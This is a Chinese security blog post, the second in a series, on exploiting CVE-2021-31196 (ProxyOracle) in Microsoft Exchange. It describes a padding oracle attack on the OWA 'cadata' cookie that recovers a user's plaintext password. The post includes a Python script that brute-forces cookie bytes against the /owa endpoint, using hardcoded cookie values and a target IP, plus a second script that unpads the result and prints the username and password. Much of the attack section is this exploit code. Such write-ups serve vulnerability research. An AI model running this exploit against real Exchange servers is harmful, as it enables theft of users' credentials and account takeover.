ProxyOracle 利用分析2——CVE-2021-31196
0x00 前言
在上篇文章《ProxyOracle 利用分析 1——CVE-2021-31195》介绍了获得用户 Cookie 信息的思路,本文将要介绍如何通过 Padding Oracle Attack 还原出用户明文口令
0x01 简介
本文将要介绍以下内容:
- 实现思路
- 部分开源代码
0x02 实现思路
实现 Padding Oracle Attack 的前提条件:
1.获得密文和密文对应的 IV (初始化向量) 2.能够触发密文的解密过程,且能够知道密文的解密结果
对应到 Exchange 上面,具体信息如下:
(1) 获得密文和密文对应的 IV (初始化向量)
Cookie 信息中的 cadata 对应密文,cadataIV 对应 IV
(2) 能够触发密文的解密过程,且能够知道密文的解密结果
我们通过 dnsSpy 反编译 dll 能够获得详细的解密过程,方法如下:
使用 dnsSpy 打开文件 C:\Program Files\Microsoft\Exchange Server\V15\FrontEnd\HttpProxy\bin\Microsoft.Exchange.FrontEndHttpProxy.dll
依次定位到 Microsoft.Exchange.HttpProxy
-> FbaModule
-> ParseCadataCookies(HttpApplication httpApplication)
如下图
得到触发密文解密过程的方法:
访问 https://<url>/owa
,发送 GET 数据包,Cookie 中需要包含 cadata、cadataTTL、cadataKey、cadataIV 和 cadataSig
密文解密结果的判断:
发送 GET 数据包后,默认进行 302 跳转,并在响应内容中标记是否解密成功
解密结果可以通过查看 LogonReason 的定义进行判断
如下图
从这里看出,0 代表 None,这里为格式错误,1 代表 Logoff,2 代表 InvalidCredentials,3 代表 Timeout,4 代表 ChangePasswordLogoff
我们在尝试解密时,当 reason=2,代表解密成功
当 reason=3 时,代表 Cookie 已过期,此时无法实现 Padding Oracle Attack
注:
Exchange 的 Cookie 有效期为 12 小时
0x03 部分开源代码
1.破解第 0 个分组的第 8 个字节
Python 实现的完整示例代码如下:
#python3
import requests
import base64
import sys
import os
import re
import urllib3
urllib3.disable_warnings()
def checkFirstByte(url, flag):
url1 = "https://" + url + "/owa/"
cadata = "wvutFMpkBXBpxdB5WNfcJ2a5WAJaxNX7hjaEx6jKudQXGf+ZDdfhVJfgFc01+dNkS33gBeQmWAkQYNfgnVSkfg=="
cadataTTL = "tTjVGVGFfG9M0P6lAXm/jw=="
cadataKey = "oGPdBcVgmUMiC+ZN49GZYyxkfH1jVzG0jWeJ95NRyAXEhr7PKOyLlNcqmgztUHfJnpYu94zFChAW+spsrAU9jbBLvXzP+pcQZMRQ8KjIdFiwcRtIOkE3iuf+v+e+Q+NhVeEghk9eW/jq0E/DjFL2MCC1yQUVEgf7JrXuQWbbocERT/GybkBIddq3RZAbRUWW33jFGWlGqJWTu/BBey3kD8Srhm5fvBC7rfh5MG9gdk6i/aLI/R3jt7khUyU4Vg3iZXYUljLpy1moX2YsZZw6CXuw4oI0t9B8RNfEAjg3LY6/HR06LjrLjSHGBGIWrVVpPcM+o8L9RUajM3WUoDGaSA=="
cadataIV = "YJD/eLSxuErTgrWO9D2AGvH1HJZhQC9eRppXZAO9gPcRQN1vICq+oYL8lehL/Zyv9NZsliqCwtGxKR6bPx/ieBAqddiYIL4uTJ646XyCSrjNUwG1Ur+1Q3+Lo0fQzjtW3HUEzvbrqwph94aaqM5BGIBCaEOC/6300QI7MIKR/cyyBfzjYuMJODh8SFxFKcD0nYwHfADZiAmaY+Pk5TqWfOJu6aVDy8or7Ax714JPMzcQr1bvX3VQuMQPPXpRwL0jWyHIMgZMwxzhGkfM8kA66UjFGQ07eq3ZzrDNBprmYwmgAoXFiQEop9XWUdBk2Za/OGDW5gVJsk+gJmm4hz/CEw=="
cadataSig = "jL1+ETV4nVd3cma3T75lr6t9OYKkkb4ksHsZkaGciCtxvjWDfJWo2b6oqHbWJ06W1EyN3j1fh+AYBWB95dJ892WWO027006tkgql+qoKovhkUOfk4QoT9jp3O2+xT6O14JiaNfEIZoIe6DbaEICaUYal/aiwvOvviuiL1DDqz+UTxIiWDehZ1qZ6XyPNu46sVr+G21fLijD1G51ULrxUtGH0JfU56mYMOFiUgyMCpw54h/kxtiBsT3qpho1hsG+sVKXLmYbdY7DJ8ELO12Ql4nhzx5lqzTpH6JFlt+MaHkx6ugR0p9wq/yKbH/0t+HQVSPGWwlrqiK6PkxZCNG4WPg=="
cipher = base64.b64decode(cadata)
bs = 16
if len(cipher) % bs != 0:
raise ValueError("The length of `cipher` must be a multiple of `bs`")
cipher_blocks = []
for i in range(0, len(cipher), bs):
cipher_blocks.append(cipher[i: i + bs])
bytetempdata = b"\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00" + bytes([flag])
bytecadata = bytetempdata + cipher_blocks[1]
base64cadata = base64.b64encode(bytecadata).decode()
cookie = {
"cadata": base64cadata,
"cadataTTL": cadataTTL,
"cadataKey": cadataKey,
"cadataIV": cadataIV,
"cadataSig": cadataSig,
}
headers = {
"User-Agent": "Mozilla/5.0 (Windows NT 6.3; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/81.0.4044.129 Safari/537.36"
}
response = requests.get(url1, headers=headers, cookies=cookie, verify = False, allow_redirects=False)
if response.status_code == 302 and "reason" in response.text:
pattern_name = re.compile(r"reason=(.*?)\">here")
name = pattern_name.findall(response.text)
print(name[0], end='')
if name[0] == "2":
print("\ndecrypt:")
print(bytecadata)
sys.exit(0)
else:
return False
if __name__ == "__main__":
for flag in range(0, 256):
checkFirstByte("192.168.1.1", flag)
这里需要注意以下细节:
(1)0x00 至 0xFF 遍历
for i in range(0, 256):
i = bytes([i])
print(i)
(2) 密文分组
分组长度为 16
(3) 发送 GET 请求时设置 allow_redirects=False
来禁用跳转
2.由填充明文到实际明文
在我们完成整个 Padding Oracle Attack 后,会得到一段填充的明文
由填充明文到实际明文的完整示例代码如下:
#python3
import base64
import re
def unpad(s):
exe = re.findall("..", s.hex())
padding = int(exe[-1], 16)
exe = exe[::-1]
if padding == 0 or padding > 16:
return 0
for i in range(padding):
if int(exe[i], 16) != padding:
return 0
return s[: -ord(s[len(s) - 1 :])]
decipherbyte = b"V\x00z\x00d\x00D\x00p\x00Q\x00Y\x00X\x00N\x00z\x00d\x002\x009\x00y\x00Z\x00D\x00E\x00y\x00M\x00w\x00=\x00=\x00\x04\x04\x04\x04"
decipher = unpad(decipherbyte)
temp = "XX" + decipher.decode("utf_16_le")
plaintext = "??" + base64.b64decode(temp)[2:].decode()
print("[+] User: " + plaintext.split(":")[0])
print("[+] Password: " + plaintext.split(":")[1])
代码执行结果如下图
这里需要注意以下细节:
- 得到填充明文后需要使用 PKCS7 进行数据填充
- 实际明文的格式为
usename:password
虽然明文的前两字节无法破解,导致用户名显示不完整,但这不会造成影响,因为我们拿到的 Cookie 信息中,"lgn"显示了完整了用户名称
0x04 小结
本文介绍了通过 Padding Oracle Attack 还原出用户明文口令的方法,关键代码已开源,剩余的部分留给读者自行完成。
如果你对这篇内容有疑问,欢迎到本站社区发帖提问 参与讨论,获取更多帮助,或者扫码二维码加入 Web 技术交流群。

上一篇: ProxyOracle 利用分析1——CVE-2021-31195
下一篇: Jvm 常量池
绑定邮箱获取回复消息
由于您还没有绑定你的真实邮箱,如果其他用户或者作者回复了您的评论,将不能在第一时间通知您!
发布评论